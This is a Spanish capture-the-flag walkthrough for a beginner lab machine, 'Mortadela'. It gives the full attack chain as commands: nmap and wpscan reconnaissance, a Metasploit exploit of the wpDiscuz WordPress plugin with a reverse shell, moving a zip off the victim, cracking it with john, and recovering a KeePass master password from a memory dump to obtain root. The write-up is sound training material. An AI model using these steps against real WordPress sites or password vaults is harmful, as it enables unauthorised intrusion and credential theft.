Mortadela

🔍 Dificultad: Principiante

🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

ping -c 1 192.168.1.68

para verificar la conectividad de red.

A continuación, se realiza el comando:

nmap -sVC -p- -n --min-rate 5000 192.168.1.68

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

Como podemos observar durante el escaneo que el puerto 22 perteneciente al servicio SSH, el puerto 80 perteneciente al servicio HTTP y el puerto 3306 perteneciente al servicio MySQL están abiertos por lo que a continuación se indagará más.

🔎 EXPLORACIÓN

Se utiliza el comando:

sudo nmap -sCV -p22,80,3306 -v 192.168.1.68

para obtener más información sobre ese puerto específicamente.

Seguimos indagando más sobre los puertos y ahora exploramos el servicio HTTP. Ingresamos la IP y nos encontramos la página por defecto de Apache.

Ahora buscaremos directorios con la herramienta Gobuster a través de:

gobuster dir -u http://192.168.1.68/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

Vemos que nos ha encontrado un directorio de WordPress por lo que accederemos a él.

Como no encontramos nada relevante vamos a realizar un escaneo de plugins.

wpscan --url http://192.168.1.68/wordpress/ --plugins-detection aggressive

Se nos muestra un plugin llamado wpdiscuz y su versión por lo que a través de searchsploit miraremos si esa versión contiene alguna vulnerabilidad para explotar con Metasploit.

🚀 EXPLOTACIÓN

Comprobamos que sí la hay.

msfconsole

Buscamos plugin para la vulnerabilidad.

search wpdiscuz
use 0
show options

Configuramos lo que nos piden.

Ejecutamos.

run

Ejecutamos una shell pero nos ponemos en escucha a través del puerto 443 para enviarnos una Reverse Shell.

Realizamos tratamiento de la TTY. Como se nos muestra aquí: Tratamiento de la TTY.

🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

whoami

aún no somos root, por lo que hacemos:

sudo -l

para ver si hay algo para explotar pero no tenemos permisos. Por lo que buscamos SUID.

find / -perm -4000 -ls 2> /dev/null

No hay un binario para escalar privilegios. Por lo que indagamos a través de los directorios y encontramos en el directorio /opt un archivo .zip. Al descomprimirlo nos pide una contraseña. Nos lo descargamos a nuestra máquina local.

En la máquina víctima
python3 -m http.server 8080
En la máquina atacante
wget http://192.168.1.68:8080/muyconfidencial.zip

Ahora realizamos fuerza bruta.

zip2john muyconfidencial.zip > hash_zip
john hash_zip --wordlist=/usr/share/wordlists/rockyou.txt 

Hemos descubierto la contraseña que se nos pide para descomprimir el archivo.

Utilizamos el siguiente script de Python para extraer contraseñas de un archivo de base de datos de KeePass:

https://github.com/z-jxy/keepass_dump/blob/main/keepass_dump.py
python3 keepass.py -f KeePass.DMP

Ahora creamos un diccionario con mayúsculas y minúsculas.

crunch 14 14 ABCDEFGHIJKLMNÑOPQRSTUVWXYZabcdefghijklmnñopqrstuvwxyz -t @aritrini12345 -o diccionario.txt

Ahora que contamos con un diccionario, procederemos a extraer el hash del archivo utilizando keepass2john. Posteriormente, emplearemos john para descubrir la contraseña.

keepass2john Database.kdbx > hash
john hash --wordlist=diccionario.txt
keepass2 Database.kdbx

Ingresamos la contraseña y vemos que hay un usuario root. Copiamos la contraseña e iniciamos sesión.

Te deseo mucho éxito en tu búsqueda de las flags! Recuerda prestar atención a cada detalle, examinar los archivos y servicios con detenimiento, y utilizar todas las herramientas disponibles para encontrarlas. La clave para el éxito está en la perseverancia y en no dejar ningún rincón sin explorar. ¡Adelante, hacker! 💻🔍🚀

Last updated

Was this helpful?